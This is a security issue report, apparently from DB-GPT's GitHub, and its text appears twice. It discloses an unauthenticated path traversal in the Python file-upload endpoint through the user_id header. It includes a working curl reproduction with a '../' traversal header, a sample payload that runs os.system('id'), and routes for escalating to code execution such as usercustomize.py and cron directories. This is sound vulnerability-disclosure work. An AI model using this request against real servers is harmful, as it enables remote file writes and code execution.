Search before asking
Operating system information
Linux
Python version information
=3.11
DB-GPT version
main
Related scenes
Installation Information
Device information
Models information
What happened
Summary
The DB-GPT python file-upload endpoint builds the destination directory from an HTTP user_id header without validation, and the server has no real authentication (its auth dependency is a mock that returns an admin user for every request). A user_id header containing parent-directory segments escapes the intended upload directory, so an unauthenticated client can write attacker-controlled file content to an arbitrary location on the server, which escalates to remote code execution by writing to a Python startup hook, a usercustomize.py on sys.path, a cron directory, or an agent/skill script that is later executed. Confirmed against the real handler: a user_id traversal header wrote a file outside the server's working directory.
Details
packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/python_upload_api.py (the POST /api/v1/python/file/upload handler):
user_id = user_token.user_id # ~line 39: from the user_id header, unvalidated
...
upload_dir = os.path.join(base_dir, "python_uploads", user_id) # ~line 54: user_id is a path component
os.makedirs(upload_dir, exist_ok=True)
...
with open(file_path, "wb") as f: ... # ~line 64
user_token comes from get_user_from_headers (packages/dbgpt-serve/.../dbgpt_serve/utils/auth.py ~line 25), which reads user_id from a Header(None) and, in the default build, is a mock returning an admin UserRequest for any request (no header required) with no global auth middleware. So the endpoint is unauthenticated by default. The _resolve_upload_path containment check (~lines 22 to 26) validates only the filename relative to upload_dir, which has already been poisoned by user_id; the directory traversal injected through user_id is never checked, and os.makedirs(..., exist_ok=True) creates the escaped directory.
What you expected to happen
How to reproduce
curl -X POST http://TARGET:5670/api/v1/python/file/upload \
-H 'user_id: ../../../../../../../../tmp/DBGPT_PWN' \
-F 'file=@payload.py;filename=x.py'
Validated against the real handler (python_file_upload + _resolve_upload_path run unmodified; only app-glue imports were stubbed):
base_dir = /tmp/.../dbgpt_work_*
handler success = True | data = /tmp/DBGPT_PWN/evil.py
FILE WRITTEN OUTSIDE base_dir? -> True
contents: b"# attacker-written python file\nimport os\nos.system('id')\n"
The header user_id: ../../../../tmp/DBGPT_PWN plus filename x.py wrote attacker bytes to /tmp/DBGPT_PWN/evil.py, outside the working directory, with no authentication.
Additional context
No response
Are you willing to submit PR?
Search before asking
Operating system information
Linux
Python version information
DB-GPT version
main
Related scenes
Installation Information
Installation From Source
Docker Installation
Docker Compose Installation
Cluster Installation
AutoDL Image
Other
Device information
Models information
What happened
Summary
The DB-GPT python file-upload endpoint builds the destination directory from an HTTP
user_idheader without validation, and the server has no real authentication (its auth dependency is a mock that returns an admin user for every request). Auser_idheader containing parent-directory segments escapes the intended upload directory, so an unauthenticated client can write attacker-controlled file content to an arbitrary location on the server, which escalates to remote code execution by writing to a Python startup hook, ausercustomize.pyonsys.path, a cron directory, or an agent/skill script that is later executed. Confirmed against the real handler: auser_idtraversal header wrote a file outside the server's working directory.Details
packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/python_upload_api.py(thePOST /api/v1/python/file/uploadhandler):user_tokencomes fromget_user_from_headers(packages/dbgpt-serve/.../dbgpt_serve/utils/auth.py~line 25), which readsuser_idfrom aHeader(None)and, in the default build, is a mock returning anadminUserRequestfor any request (no header required) with no global auth middleware. So the endpoint is unauthenticated by default. The_resolve_upload_pathcontainment check (~lines 22 to 26) validates only thefilenamerelative toupload_dir, which has already been poisoned byuser_id; the directory traversal injected throughuser_idis never checked, andos.makedirs(..., exist_ok=True)creates the escaped directory.What you expected to happen
How to reproduce
Validated against the real handler (
python_file_upload+_resolve_upload_pathrun unmodified; only app-glue imports were stubbed):The header
user_id: ../../../../tmp/DBGPT_PWNplus filenamex.pywrote attacker bytes to/tmp/DBGPT_PWN/evil.py, outside the working directory, with no authentication.Additional context
No response
Are you willing to submit PR?